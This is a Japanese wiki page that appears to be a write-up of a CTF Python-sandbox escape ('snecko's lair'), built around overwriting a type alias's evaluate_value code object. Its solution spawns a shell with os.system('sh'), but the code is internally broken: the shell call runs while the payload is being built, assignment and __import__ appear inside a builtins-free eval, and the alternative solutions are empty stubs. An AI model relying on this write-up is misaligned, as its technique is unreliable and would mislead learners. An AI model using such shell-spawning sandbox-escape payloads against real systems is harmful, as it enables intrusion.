pyjail wiki

LACTF 2025 - snecko's lair

Challenge

Python 3.14+ の型エイリアス機能を使った高度な pyjail。

# Python 3.14+
from typing import TypeAliasType
# 型エイリアスの定義
type Point = tuple[float, float]
# 制限された eval
code = input()
eval(code, {'__builtins__': {}, 'Point': Point})

Solution

TypeAliasType の内部構造

Python 3.14 では TypeAliasTypeevaluate_value メソッドを持ち、遅延評価される。このメソッドの __code__ を上書きできる。

__code__ の上書き

# TypeAliasType.evaluate_value の __code__ を悪意のあるコードに置換
Point.__value__.__code__ = malicious_code

バイトコードの構築

# os.system('sh') を実行するバイトコード
import types
code = types.CodeType(
0, 0, 0, 0, 0, 0,
b'd\x00S\x00', # LOAD_CONST 0, RETURN_VALUE
(__import__('os').system('sh'),),
(), (), '', '', 0, b''
)

Technical Details

PEP 695: Type Parameter Syntax

Python 3.12+ で導入された型パラメータ構文:

# 新構文
type Point = tuple[float, float]
type Vector[T] = list[T]
# TypeAliasType オブジェクトが作成される
type(Point) # <class 'typing.TypeAliasType'>

遅延評価の仕組み

# 型エイリアスの値は遅延評価される
type Lazy = some_expensive_computation
# アクセス時に evaluate_value が呼ばれる
Lazy.__value__ # ここで評価

evaluate_value の構造

# TypeAliasType.evaluate_value は通常の関数
# __code__ 属性を持つ
Point.__class__.evaluate_value.__code__
# これを上書きすると任意コード実行

Alternative Solutions

別解1: __value__ のモック

# __value__ プロパティを悪用

別解2: 型パラメータの再帰

# 再帰的な型定義で無限ループ
type Recursive = Recursive

Flag

lactf{...}

References